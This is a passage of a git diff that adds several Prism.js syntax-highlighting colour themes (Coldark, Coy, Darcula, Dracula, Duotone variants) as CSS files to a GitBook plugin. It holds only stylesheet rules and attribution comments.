+ +.language-markdown .token.title, +.language-markdown .token.title .token.punctuation { + color: #005c99; + font-weight: bold; +} + +.language-markdown .token.code { + color: #007474; +} + +.language-markdown .token.url > .token.content { + color: #237800; +} + +.language-markdown .token.url-link { + color: #7d6600; +} + +.language-markdown .token.list.punctuation { + color: #b800b8; +} + +.language-markdown .token.table-header { + color: #111b27; +} + +.language-json .token.operator { + color: #111b27; +} + +/* overrides color-values for the Show Invisibles plugin + * https://prismjs.com/plugins/show-invisibles/ + */ +.token.tab:not(:empty):before, +.token.cr:before, +.token.lf:before, +.token.space:before { + color: #304259; +} + +/* overrides color-values for the Toolbar plugin + * https://prismjs.com/plugins/toolbar/ + */ +div.code-toolbar > .toolbar a, +div.code-toolbar > .toolbar button { + color: #e3e9f2; + background: #005c99; +} + +div.code-toolbar > .toolbar a:hover, +div.code-toolbar > .toolbar a:focus, +div.code-toolbar > .toolbar button:hover, +div.code-toolbar > .toolbar button:focus { + color: #e3e9f2; + background: #005c99da; + text-decoration: none; +} + +div.code-toolbar > .toolbar span, +div.code-toolbar > .toolbar span:hover, +div.code-toolbar > .toolbar span:focus { + color: #e3e9f2; + background: #304259; +} + +/* overrides color-values for the Line Highlight plugin + * http://prismjs.com/plugins/line-highlight/ + */ +.line-highlight { + background: #3042591f; + background: linear-gradient(to right, #3042591f 70%, #30425915); +} + +.line-highlight:before, +.line-highlight[data-end]:after { + background-color: #304259; + color: #e3e9f2; + box-shadow: 0 1px #ccd6e4; +} + +pre[id].linkable-line-numbers span.line-numbers-rows > span:hover:before { + background-color: #3042591f; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right: 1px solid #111b271f; + background: #d8e0ebda; +} + +.line-numbers-rows > span:before { + color: #111b2796; +} + +/* overrides color-values for the Match Braces plugin + * https://prismjs.com/plugins/match-braces/ + */ +.rainbow-braces .token.punctuation.brace-level-1, +.rainbow-braces .token.punctuation.brace-level-5, +.rainbow-braces .token.punctuation.brace-level-9 { + color: #7d6600; +} + +.rainbow-braces .token.punctuation.brace-level-2, +.rainbow-braces .token.punctuation.brace-level-6, +.rainbow-braces .token.punctuation.brace-level-10 { + color: #b800b8; +} + +.rainbow-braces .token.punctuation.brace-level-3, +.rainbow-braces .token.punctuation.brace-level-7, +.rainbow-braces .token.punctuation.brace-level-11 { + color: #005c99; +} + +.rainbow-braces .token.punctuation.brace-level-4, +.rainbow-braces .token.punctuation.brace-level-8, +.rainbow-braces .token.punctuation.brace-level-12 { + color: #8600c6; +} + +/* overrides color-values for the Diff Highlight plugin + * https://prismjs.com/plugins/diff-highlight/ + */ +pre.diff-highlight > code .token.deleted:not(.prefix), +pre > code.diff-highlight .token.deleted:not(.prefix) { + background-color: #bf01001f; +} + +pre.diff-highlight > code .token.inserted:not(.prefix), +pre > code.diff-highlight .token.inserted:not(.prefix) { + background-color: #2378001f; +} + +/* overrides color-values for the Command Line plugin + * https://prismjs.com/plugins/command-line/ + */ +.command-line-prompt { + border-right: 1px solid #111b271f; +} + +.command-line-prompt > span:before { + color: #111b2796; +} diff --git a/gitbook/gitbook-plugin-prism/prism-coldark-dark.css b/gitbook/gitbook-plugin-prism/prism-coldark-dark.css new file mode 100644 index 0000000..a4a53a4 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-coldark-dark.css @@ -0,0 +1,299 @@ +/** + * Coldark Theme for Prism.js + * Theme variation: Dark + * Tested with HTML, CSS, JS, JSON, PHP, YAML, Bash script + * @author Armand Philippot + * @homepage https://github.com/ArmandPhilippot/coldark-prism + * @license MIT + */ +code[class*="language-"], +pre[class*="language-"] { + color: #e3e9f2; + background: none; + font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + word-wrap: normal; + line-height: 1.5; + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +pre[class*="language-"]::-moz-selection, +pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, +code[class*="language-"] ::-moz-selection { + background: #304259; +} + +pre[class*="language-"]::selection, +pre[class*="language-"] ::selection, +code[class*="language-"]::selection, +code[class*="language-"] ::selection { + background: #304259; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: 0.5em 0; + overflow: auto; +} + +:not(pre) > code[class*="language-"], +pre[class*="language-"] { + background: #111b27; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: 0.1em 0.3em; + border-radius: 0.3em; + white-space: normal; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #ccd6e4; + font-style: italic; +} + +.token.punctuation { + color: #e3e9f2; +} + +.token.selector, +.token.tag { + color: #5dc2c2; +} + +.token.attr-name, +.token.boolean, +.token.number, +.token.constant, +.token.pseudo-class, +.token.pseudo-element, +.token.selector .token.attribute { + color: #cdb74a; +} + +.token.class-name, +.token.key, +.token.parameter, +.token.property, +.token.property-access, +.token.variable { + color: #6ab3e4; +} + +.token.attr-value, +.token.inserted, +.token.color, +.token.selector .token.value, +.token.string, +.token.string .token.url-link { + color: #82c366; +} + +.token.builtin, +.token.keyword-array, +.token.package, +.token.regex { + color: #ea89ea; +} + +.token.function, +.token.selector .token.class, +.token.selector .token.id { + color: #cf7ef6; +} + +.token.atrule .token.rule, +.token.combinator, +.token.keyword, +.token.operator, +.token.selector .token.token.operator, +.token.unit { + color: #d88b4a; +} + +.token.deleted, +.token.important { + color: #f57a73; +} + +.token.keyword-this, +.token.this { + color: #6ab3e4; +} + +.token.important, +.token.keyword-this, +.token.this, +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.entity { + cursor: help; +} + +.language-markdown .token.title, +.language-markdown .token.title .token.punctuation { + color: #6ab3e4; + font-weight: bold; +} + +.language-markdown .token.code { + color: #5dc2c2; +} + +.language-markdown .token.url .token.content { + color: #82c366; +} + +.language-markdown .token.url-link { + color: #cdb74a; +} + +.language-markdown .token.list.punctuation { + color: #ea89ea; +} + +.language-markdown .token.table-header { + color: #e3e9f2; +} + +.language-json .token.operator { + color: #e3e9f2; +} + +/* overrides color-values for the Show Invisibles plugin + * https://prismjs.com/plugins/show-invisibles/ + */ +.token.tab:not(:empty):before, +.token.cr:before, +.token.lf:before, +.token.space:before { + color: #ccd6e4; +} + +/* overrides color-values for the Toolbar plugin + * https://prismjs.com/plugins/toolbar/ + */ +div.code-toolbar > .toolbar a, +div.code-toolbar > .toolbar button { + color: #111b27; + background: #6ab3e4; +} + +div.code-toolbar > .toolbar a:hover, +div.code-toolbar > .toolbar a:focus, +div.code-toolbar > .toolbar button:hover, +div.code-toolbar > .toolbar button:focus { + color: #111b27; + background: #6ab3e4da; + text-decoration: none; +} + +div.code-toolbar > .toolbar span, +div.code-toolbar > .toolbar span:hover, +div.code-toolbar > .toolbar span:focus { + color: #111b27; + background: #ccd6e4; +} + +/* overrides color-values for the Line Highlight plugin + * http://prismjs.com/plugins/line-highlight/ + */ +.line-highlight { + background: #ccd6e418; + background: linear-gradient(to right, #ccd6e41f 70%, #ccd6e415); +} + +.line-highlight:before, +.line-highlight[data-end]:after { + background-color: #ccd6e4; + color: #111b27; + box-shadow: 0 1px #304259; +} + +pre[id].linkable-line-numbers span.line-numbers-rows > span:hover:before { + background-color: #ccd6e418; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right: 1px solid #0b121b; + background: #0b121b7a; +} + +.line-numbers-rows > span:before { + color: #e3e9f296; +} + +/* overrides color-values for the Match Braces plugin + * https://prismjs.com/plugins/match-braces/ + */ +.rainbow-braces .token.punctuation.brace-level-1, +.rainbow-braces .token.punctuation.brace-level-5, +.rainbow-braces .token.punctuation.brace-level-9 { + color: #cdb74a; +} + +.rainbow-braces .token.punctuation.brace-level-2, +.rainbow-braces .token.punctuation.brace-level-6, +.rainbow-braces .token.punctuation.brace-level-10 { + color: #ea89ea; +} + +.rainbow-braces .token.punctuation.brace-level-3, +.rainbow-braces .token.punctuation.brace-level-7, +.rainbow-braces .token.punctuation.brace-level-11 { + color: #6ab3e4; +} + +.rainbow-braces .token.punctuation.brace-level-4, +.rainbow-braces .token.punctuation.brace-level-8, +.rainbow-braces .token.punctuation.brace-level-12 { + color: #cf7ef6; +} + +/* overrides color-values for the Diff Highlight plugin + * https://prismjs.com/plugins/diff-highlight/ + */ +pre.diff-highlight > code .token.deleted:not(.prefix), +pre > code.diff-highlight .token.deleted:not(.prefix) { + background-color: #f57a731f; +} + +pre.diff-highlight > code .token.inserted:not(.prefix), +pre > code.diff-highlight .token.inserted:not(.prefix) { + background-color: #82c3661f; +} + +/* overrides color-values for the Command Line plugin + * https://prismjs.com/plugins/command-line/ + */ +.command-line-prompt { + border-right: 1px solid #0b121b; +} + +.command-line-prompt > span:before { + color: #e3e9f296; +} diff --git a/gitbook/gitbook-plugin-prism/prism-coy-without-shadows.css b/gitbook/gitbook-plugin-prism/prism-coy-without-shadows.css new file mode 100644 index 0000000..fd2ee78 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-coy-without-shadows.css @@ -0,0 +1,140 @@ +/** + * Coy without shadows + * Based on Tim Shedor's Coy theme for prism.js + * Author: RunDevelopment + */ + +code[class*="language-"], +pre[class*="language-"] { + color: black; + background: none; + font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; + font-size: 1em; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + word-wrap: normal; + line-height: 1.5; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +/* Code blocks */ +pre[class*="language-"] { + position: relative; + border-left: 10px solid #358ccb; + box-shadow: -1px 0 0 0 #358ccb, 0 0 0 1px #dfdfdf; + background-color: #fdfdfd; + background-image: linear-gradient(transparent 50%, rgba(69, 142, 209, 0.04) 50%); + background-size: 3em 3em; + background-origin: content-box; + background-attachment: local; + margin: .5em 0; + padding: 0 1em; +} + +pre[class*="language-"] > code { + display: block; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + position: relative; + padding: .2em; + border-radius: 0.3em; + color: #c92c2c; + border: 1px solid rgba(0, 0, 0, 0.1); + display: inline; + white-space: normal; + background-color: #fdfdfd; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +.token.comment, +.token.block-comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #7D8B99; +} + +.token.punctuation { + color: #5F6364; +} + +.token.property, +.token.tag, +.token.boolean, +.token.number, +.token.function-name, +.token.constant, +.token.symbol, +.token.deleted { + color: #c92c2c; +} + +.token.selector, +.token.attr-name, +.token.string, +.token.char, +.token.function, +.token.builtin, +.token.inserted { + color: #2f9c0a; +} + +.token.operator, +.token.entity, +.token.url, +.token.variable { + color: #a67f59; + background: rgba(255, 255, 255, 0.5); +} + +.token.atrule, +.token.attr-value, +.token.keyword, +.token.class-name { + color: #1990b8; +} + +.token.regex, +.token.important { + color: #e90; +} + +.language-css .token.string, +.style .token.string { + color: #a67f59; + background: rgba(255, 255, 255, 0.5); +} + +.token.important { + font-weight: normal; +} + +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.entity { + cursor: help; +} + +.token.namespace { + opacity: .7; +} diff --git a/gitbook/gitbook-plugin-prism/prism-darcula.css b/gitbook/gitbook-plugin-prism/prism-darcula.css new file mode 100644 index 0000000..6e8bb41 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-darcula.css @@ -0,0 +1,159 @@ +/** + * Darcula theme + * + * Adapted from a theme based on: + * IntelliJ Darcula Theme (https://github.com/bulenkov/Darcula) + * + * @author Alexandre Paradis + * @version 1.0 + */ + +code[class*="language-"], +pre[class*="language-"] { + color: #a9b7c6; + font-family: Consolas, Monaco, 'Andale Mono', monospace; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + line-height: 1.5; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + color: inherit; + background: rgba(33, 66, 131, .85); +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + color: inherit; + background: rgba(33, 66, 131, .85); +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +:not(pre) > code[class*="language-"], +pre[class*="language-"] { + background: #2b2b2b; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.cdata { + color: #808080; +} + +.token.delimiter, +.token.boolean, +.token.keyword, +.token.selector, +.token.important, +.token.atrule { + color: #cc7832; +} + +.token.operator, +.token.punctuation, +.token.attr-name { + color: #a9b7c6; +} + +.token.tag, +.token.tag .punctuation, +.token.doctype, +.token.builtin { + color: #e8bf6a; +} + +.token.entity, +.token.number, +.token.symbol { + color: #6897bb; +} + +.token.property, +.token.constant, +.token.variable { + color: #9876aa; +} + +.token.string, +.token.char { + color: #6a8759; +} + +.token.attr-value, +.token.attr-value .punctuation { + color: #a5c261; +} + +.token.attr-value .punctuation:first-child { + color: #a9b7c6; +} + +.token.url { + color: #287bde; + text-decoration: underline; +} + +.token.function { + color: #ffc66d; +} + +.token.regex { + background: #364135; +} + +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.inserted { + background: #294436; +} + +.token.deleted { + background: #484a4a; +} + +code.language-css .token.property, +code.language-css .token.property + .token.punctuation { + color: #a9b7c6; +} + +code.language-css .token.id { + color: #ffc66d; +} + +code.language-css .token.selector > .token.class, +code.language-css .token.selector > .token.attribute, +code.language-css .token.selector > .token.pseudo-class, +code.language-css .token.selector > .token.pseudo-element { + color: #ffc66d; +} diff --git a/gitbook/gitbook-plugin-prism/prism-dracula.css b/gitbook/gitbook-plugin-prism/prism-dracula.css new file mode 100644 index 0000000..47e3322 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-dracula.css @@ -0,0 +1,122 @@ +/** + * Dracula Theme originally by Zeno Rocha [@zenorocha] + * https://draculatheme.com/ + * + * Ported for PrismJS by Albert Vallverdu [@byverdu] + */ + +code[class*="language-"], +pre[class*="language-"] { + color: #f8f8f2; + background: none; + text-shadow: 0 1px rgba(0, 0, 0, 0.3); + font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + word-wrap: normal; + line-height: 1.5; + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; + border-radius: 0.3em; +} + +:not(pre) > code[class*="language-"], +pre[class*="language-"] { + background: #282a36; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; + white-space: normal; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #6272a4; +} + +.token.punctuation { + color: #f8f8f2; +} + +.namespace { + opacity: .7; +} + +.token.property, +.token.tag, +.token.constant, +.token.symbol, +.token.deleted { + color: #ff79c6; +} + +.token.boolean, +.token.number { + color: #bd93f9; +} + +.token.selector, +.token.attr-name, +.token.string, +.token.char, +.token.builtin, +.token.inserted { + color: #50fa7b; +} + +.token.operator, +.token.entity, +.token.url, +.language-css .token.string, +.style .token.string, +.token.variable { + color: #f8f8f2; +} + +.token.atrule, +.token.attr-value, +.token.function, +.token.class-name { + color: #f1fa8c; +} + +.token.keyword { + color: #8be9fd; +} + +.token.regex, +.token.important { + color: #ffb86c; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.entity { + cursor: help; +} diff --git a/gitbook/gitbook-plugin-prism/prism-duotone-dark.css b/gitbook/gitbook-plugin-prism/prism-duotone-dark.css new file mode 100644 index 0000000..db1dd1d --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-duotone-dark.css @@ -0,0 +1,172 @@ +/* +Name: Duotone Dark +Author: Simurai, adapted from DuoTone themes for Atom (http://simurai.com/projects/2016/01/01/duotone-themes) + +Conversion: Bram de Haan (http://atelierbram.github.io/Base2Tone-prism/output/prism/prism-base2tone-evening-dark.css) +Generated with Base16 Builder (https://github.com/base16-builder/base16-builder) +*/ + +code[class*="language-"], +pre[class*="language-"] { + font-family: Consolas, Menlo, Monaco, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", "Courier New", Courier, monospace; + font-size: 14px; + line-height: 1.375; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + background: #2a2734; + color: #9a86fd; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + text-shadow: none; + background: #6a51e6; +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + text-shadow: none; + background: #6a51e6; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #6c6783; +} + +.token.punctuation { + color: #6c6783; +} + +.token.namespace { + opacity: .7; +} + +.token.tag, +.token.operator, +.token.number { + color: #e09142; +} + +.token.property, +.token.function { + color: #9a86fd; +} + +.token.tag-id, +.token.selector, +.token.atrule-id { + color: #eeebff; +} + +code.language-javascript, +.token.attr-name { + color: #c4b9fe; +} + +code.language-css, +code.language-scss, +.token.boolean, +.token.string, +.token.entity, +.token.url, +.language-css .token.string, +.language-scss .token.string, +.style .token.string, +.token.attr-value, +.token.keyword, +.token.control, +.token.directive, +.token.unit, +.token.statement, +.token.regex, +.token.atrule { + color: #ffcc99; +} + +.token.placeholder, +.token.variable { + color: #ffcc99; +} + +.token.deleted { + text-decoration: line-through; +} + +.token.inserted { + border-bottom: 1px dotted #eeebff; + text-decoration: none; +} + +.token.italic { + font-style: italic; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.important { + color: #c4b9fe; +} + +.token.entity { + cursor: help; +} + +pre > code.highlight { + outline: .4em solid #8a75f5; + outline-offset: .4em; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right-color: #2c2937; +} + +.line-numbers-rows > span:before { + color: #3c3949; +} + +/* overrides color-values for the Line Highlight plugin +* http://prismjs.com/plugins/line-highlight/ +*/ +.line-highlight { + background: rgba(224, 145, 66, 0.2); + background: -webkit-linear-gradient(left, rgba(224, 145, 66, 0.2) 70%, rgba(224, 145, 66, 0)); + background: linear-gradient(to right, rgba(224, 145, 66, 0.2) 70%, rgba(224, 145, 66, 0)); +} diff --git a/gitbook/gitbook-plugin-prism/prism-duotone-earth.css b/gitbook/gitbook-plugin-prism/prism-duotone-earth.css new file mode 100644 index 0000000..92fe664 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-duotone-earth.css @@ -0,0 +1,172 @@ +/* +Name: Duotone Earth +Author: Simurai, adapted from DuoTone themes for Atom (http://simurai.com/projects/2016/01/01/duotone-themes) + +Conversion: Bram de Haan (http://atelierbram.github.io/Base2Tone-prism/output/prism/prism-base2tone-earth-dark.css) +Generated with Base16 Builder (https://github.com/base16-builder/base16-builder) +*/ + +code[class*="language-"], +pre[class*="language-"] { + font-family: Consolas, Menlo, Monaco, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", "Courier New", Courier, monospace; + font-size: 14px; + line-height: 1.375; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + background: #322d29; + color: #88786d; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + text-shadow: none; + background: #6f5849; +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + text-shadow: none; + background: #6f5849; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #6a5f58; +} + +.token.punctuation { + color: #6a5f58; +} + +.token.namespace { + opacity: .7; +} + +.token.tag, +.token.operator, +.token.number { + color: #bfa05a; +} + +.token.property, +.token.function { + color: #88786d; +} + +.token.tag-id, +.token.selector, +.token.atrule-id { + color: #fff3eb; +} + +code.language-javascript, +.token.attr-name { + color: #a48774; +} + +code.language-css, +code.language-scss, +.token.boolean, +.token.string, +.token.entity, +.token.url, +.language-css .token.string, +.language-scss .token.string, +.style .token.string, +.token.attr-value, +.token.keyword, +.token.control, +.token.directive, +.token.unit, +.token.statement, +.token.regex, +.token.atrule { + color: #fcc440; +} + +.token.placeholder, +.token.variable { + color: #fcc440; +} + +.token.deleted { + text-decoration: line-through; +} + +.token.inserted { + border-bottom: 1px dotted #fff3eb; + text-decoration: none; +} + +.token.italic { + font-style: italic; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.important { + color: #a48774; +} + +.token.entity { + cursor: help; +} + +pre > code.highlight { + outline: .4em solid #816d5f; + outline-offset: .4em; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right-color: #35302b; +} + +.line-numbers-rows > span:before { + color: #46403d; +} + +/* overrides color-values for the Line Highlight plugin +* http://prismjs.com/plugins/line-highlight/ +*/ +.line-highlight { + background: rgba(191, 160, 90, 0.2); + background: -webkit-linear-gradient(left, rgba(191, 160, 90, 0.2) 70%, rgba(191, 160, 90, 0)); + background: linear-gradient(to right, rgba(191, 160, 90, 0.2) 70%, rgba(191, 160, 90, 0)); +} diff --git a/gitbook/gitbook-plugin-prism/prism-duotone-forest.css b/gitbook/gitbook-plugin-prism/prism-duotone-forest.css new file mode 100644 index 0000000..c5f4281 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-duotone-forest.css @@ -0,0 +1,172 @@ +/* +Name: Duotone Forest +Author: by Simurai, adapted from DuoTone themes for Atom (http://simurai.com/projects/2016/01/01/duotone-themes) + +Conversion: Bram de Haan (http://atelierbram.github.io/Base2Tone-prism/output/prism/prism-base2tone-forest-dark.css) +Generated with Base16 Builder (https://github.com/base16-builder/base16-builder) +*/ + +code[class*="language-"], +pre[class*="language-"] { + font-family: Consolas, Menlo, Monaco, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", "Courier New", Courier, monospace; + font-size: 14px; + line-height: 1.375; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + background: #2a2d2a; + color: #687d68; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + text-shadow: none; + background: #435643; +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + text-shadow: none; + background: #435643; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #535f53; +} + +.token.punctuation { + color: #535f53; +} + +.token.namespace { + opacity: .7; +} + +.token.tag, +.token.operator, +.token.number { + color: #a2b34d; +} + +.token.property, +.token.function { + color: #687d68; +} + +.token.tag-id, +.token.selector, +.token.atrule-id { + color: #f0fff0; +} + +code.language-javascript, +.token.attr-name { + color: #b3d6b3; +} + +code.language-css, +code.language-scss, +.token.boolean, +.token.string, +.token.entity, +.token.url, +.language-css .token.string, +.language-scss .token.string, +.style .token.string, +.token.attr-value, +.token.keyword, +.token.control, +.token.directive, +.token.unit, +.token.statement, +.token.regex, +.token.atrule { + color: #e5fb79; +} + +.token.placeholder, +.token.variable { + color: #e5fb79; +} + +.token.deleted { + text-decoration: line-through; +} + +.token.inserted { + border-bottom: 1px dotted #f0fff0; + text-decoration: none; +} + +.token.italic { + font-style: italic; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.important { + color: #b3d6b3; +} + +.token.entity { + cursor: help; +} + +pre > code.highlight { + outline: .4em solid #5c705c; + outline-offset: .4em; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right-color: #2c302c; +} + +.line-numbers-rows > span:before { + color: #3b423b; +} + +/* overrides color-values for the Line Highlight plugin +* http://prismjs.com/plugins/line-highlight/ +*/ +.line-highlight { + background: rgba(162, 179, 77, 0.2); + background: -webkit-linear-gradient(left, rgba(162, 179, 77, 0.2) 70%, rgba(162, 179, 77, 0)); + background: linear-gradient(to right, rgba(162, 179, 77, 0.2) 70%, rgba(162, 179, 77, 0)); +} diff --git a/gitbook/gitbook-plugin-prism/prism-duotone-light.css b/gitbook/gitbook-plugin-prism/prism-duotone-light.css new file mode 100644 index 0000000..6267141 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-duotone-light.css @@ -0,0 +1,172 @@ +/* +Name: Duotone Light +Author: Simurai, adapted from DuoTone themes for Atom (http://simurai.com/projects/2016/01/01/duotone-themes) + +Conversion: Bram de Haan (http://atelierbram.github.io/Base2Tone-prism/output/prism/prism-base2tone-morning-light.css) +Generated with Base16 Builder (https://github.com/base16-builder/base16-builder) +*/ + +code[class*="language-"], +pre[class*="language-"] { + font-family: Consolas, Menlo, Monaco, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", "Courier New", Courier, monospace; + font-size: 14px; + line-height: 1.375; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + background: #faf8f5; + color: #728fcb; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + text-shadow: none; + background: #faf8f5; +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + text-shadow: none; + background: #faf8f5; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #b6ad9a; +} + +.token.punctuation { + color: #b6ad9a; +} + +.token.namespace { + opacity: .7; +} + +.token.tag, +.token.operator, +.token.number { + color: #063289; +} + +.token.property, +.token.function { + color: #b29762; +} + +.token.tag-id, +.token.selector, +.token.atrule-id { + color: #2d2006; +} + +code.language-javascript, +.token.attr-name { + color: #896724; +} + +code.language-css, +code.language-scss, +.token.boolean, +.token.string, +.token.entity, +.token.url, +.language-css .token.string, +.language-scss .token.string, +.style .token.string, +.token.attr-value, +.token.keyword, +.token.control, +.token.directive, +.token.unit, +.token.statement, +.token.regex, +.token.atrule { + color: #728fcb; +} + +.token.placeholder, +.token.variable { + color: #93abdc; +} + +.token.deleted { + text-decoration: line-through; +} + +.token.inserted { + border-bottom: 1px dotted #2d2006; + text-decoration: none; +} + +.token.italic { + font-style: italic; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.important { + color: #896724; +} + +.token.entity { + cursor: help; +} + +pre > code.highlight { + outline: .4em solid #896724; + outline-offset: .4em; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right-color: 